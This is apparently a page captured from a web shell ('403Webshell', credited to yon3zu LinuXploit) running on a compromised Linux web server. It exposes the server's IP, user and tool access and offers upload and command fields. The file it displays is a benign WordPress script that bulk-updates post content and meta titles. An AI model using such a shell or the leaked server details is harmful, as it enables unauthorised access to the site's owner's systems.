403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/drogenpolitik_content/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/drogenpolitik_content/insert_articles.php
<?php
/**
 * Insert drogenpolitik article content from batch files.
 * Usage: php8.4 -r "require 'wp-load.php'; require '/tmp/drogenpolitik_content/insert_articles.php';"
 */

$files = glob( '/tmp/drogenpolitik_content/batch_*.html' );
if ( ! $files ) {
	echo "No batch files found.\n";
	return;
}

$inserted = 0;
$errors   = 0;

foreach ( $files as $file ) {
	$raw = file_get_contents( $file );
	$articles = explode( '===ARTICLE_START===', $raw );

	foreach ( $articles as $article ) {
		$article = trim( $article );
		if ( empty( $article ) ) continue;

		// Extract POST_ID
		if ( ! preg_match( '/^POST_ID:\s*(\d+)/m', $article, $m_id ) ) {
			echo "SKIP: no POST_ID found in block\n";
			$errors++;
			continue;
		}
		$post_id = (int) $m_id[1];

		// Extract SLUG
		if ( ! preg_match( '/^SLUG:\s*(.+)/m', $article, $m_slug ) ) {
			echo "SKIP: no SLUG for post $post_id\n";
			$errors++;
			continue;
		}
		$slug = trim( $m_slug[1] );

		// Extract META_TITLE
		$meta_title = '';
		if ( preg_match( '/^META_TITLE:\s*(.+)/m', $article, $m_mt ) ) {
			$meta_title = trim( $m_mt[1] );
		}

		// Extract META_DESC
		$meta_desc = '';
		if ( preg_match( '/^META_DESC:\s*(.+)/m', $article, $m_md ) ) {
			$meta_desc = trim( $m_md[1] );
		}

		// Extract HTML content (everything between SLUG line and META_TITLE line)
		$lines = explode( "\n", $article );
		$content_lines = array();
		$in_content = false;
		foreach ( $lines as $line ) {
			if ( preg_match( '/^SLUG:/', $line ) ) {
				$in_content = true;
				continue;
			}
			if ( preg_match( '/^META_TITLE:/', $line ) ) {
				$in_content = false;
				continue;
			}
			if ( preg_match( '/^META_DESC:/', $line ) ) {
				continue;
			}
			if ( preg_match( '/^POST_ID:/', $line ) ) {
				continue;
			}
			if ( $in_content ) {
				$content_lines[] = $line;
			}
		}
		$content = trim( implode( "\n", $content_lines ) );

		if ( empty( $content ) ) {
			echo "SKIP: empty content for post $post_id ($slug)\n";
			$errors++;
			continue;
		}

		// Update post
		$result = wp_update_post( array(
			'ID'           => $post_id,
			'post_content' => $content,
		), true );

		if ( is_wp_error( $result ) ) {
			echo "ERROR: post $post_id ($slug): " . $result->get_error_message() . "\n";
			$errors++;
			continue;
		}

		// Set meta
		if ( $meta_title ) {
			update_post_meta( $post_id, '_dgt_meta_title', $meta_title );
		}
		if ( $meta_desc ) {
			update_post_meta( $post_id, '_dgt_meta_description', $meta_desc );
		}

		$word_count = str_word_count( strip_tags( $content ) );
		echo "OK: $post_id ($slug) — $word_count words\n";
		$inserted++;
	}
}

echo "\nDone: $inserted inserted, $errors errors.\n";

Youez - 2016 - github.com/yon3zu
LinuXploit